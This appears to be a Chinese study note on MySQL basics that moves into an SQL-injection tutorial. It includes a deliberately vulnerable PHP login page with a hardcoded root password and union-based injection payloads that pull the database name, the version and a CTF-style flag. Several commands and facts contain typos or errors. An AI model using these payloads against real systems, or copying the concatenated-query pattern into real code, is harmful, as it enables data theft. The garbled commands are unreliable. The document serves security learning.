综合
1 2 3 4 5 6 7 8 9 10 11
| mysql -j localhost -u root -p
show character set;
select version();
show endines;
|
结构
数据库名 |
说明 |
mysql |
MySQL的核心数据库,用于存储MySQL服务器的系统信息表,包括授权系统表、系统对象信息表、日志系统表、服务器端辅助系统表等服务器控制和管理信息 |
information_schema |
用于保存MySQL服务器所维护的所有数据块的信息,包括数据库名、数据库的数据表、数据表中列的数据类型与访问权限等。此数据库中的数据表均为视图,因此在用户或安装目录下无对应文件 |
performance_schema |
用于收集MySQL服务器的性能参数。此数据库中所有数据表的存储引擎为performance_schema,用户不能创建存储引擎为performance_schema的数据表。默认情况下该数据库为关闭状态 |
sys |
sys数据库中所有数据来自performance_schema。目标是把performance_schema的复杂度降低,让数据库管理员更快地了解数据库的运行情况 |
类型
整数类型
整数类型 |
字节数 |
无符号数据的取值范围 |
有符号数据的取值范围 |
tinyint |
1 |
|
|
smallint |
2 |
|
|
mediumint |
3 |
|
|
int |
4 |
|
|
bight |
8 |
|
|
小数类型
类型 |
字节数 |
负数的取值范围 |
非负数的取值范围 |
float |
4 |
|
|
double |
4 |
|
|
decimal |
|
|
|
日期类型
字符串类型
JSON类型
用户管理
创建用户
1
| create "user_name"@localhost
|
删除用户
库管理
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| create database database_name;
use database_name;
show databases;
alter database database_name character set utf8 collate utf8_bin;
drop database database_name;
|
表管理
查看表
创建表
1 2 3 4
| create table users ( );
|
删除表
查看表内容
1
| select * from table_name;
|
查看表结构
1
| describe database_name.table_name;
|
sql 注入
学了sql语句,接着就研究一下web的经典漏洞sql注入吧。
以前学web的时候第一个学的漏洞就是sql注入,也是我初入安全之门的指引。
不要问我为什么直接从sql注入开始。。。
接下来就讲一下简单mysql的sql注入。
不过在讲sql注入之前,我们需要先复习几个用得到的重点知识。
information_schema
or der
逻辑
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>简单的登录页面</title> </head> <body> <h2>登录</h2> <form action="demo.php" method="post"> <label for="username">用户名:</label> <input type="text" id="username" name="username" required><br><br> <label for="password">密码:</label> <input type="password" id="password" name="password" required><br><br> <input type="submit" value="登录"> </form> </body> </html>
<?php $servername = "localhost"; $username = "root"; $password = "051106"; $dbname = "test";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); }
$user = $_POST['username']; $pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = $conn->query($sql);
if ($result->num_rows > 0) { echo "登录成功,欢迎: " . $user; } else { echo "用户名或密码错误!"; }
$conn->close(); ?>
|
万能密码
正常回显
判断回显位
1
| ' or 1=1 union select 1,2,3 #
|
查数据库名
1
| ' or 1=1 union select 1,database(),3 #
|
查询数据库版本
1
| ' or 1=1 union select 1,version,3 #
|
1
| ' or 1=1 union select 1,flag,3 from web2.flag #
|
获取所有数据库的库名
1
| information_schema.schemata #
|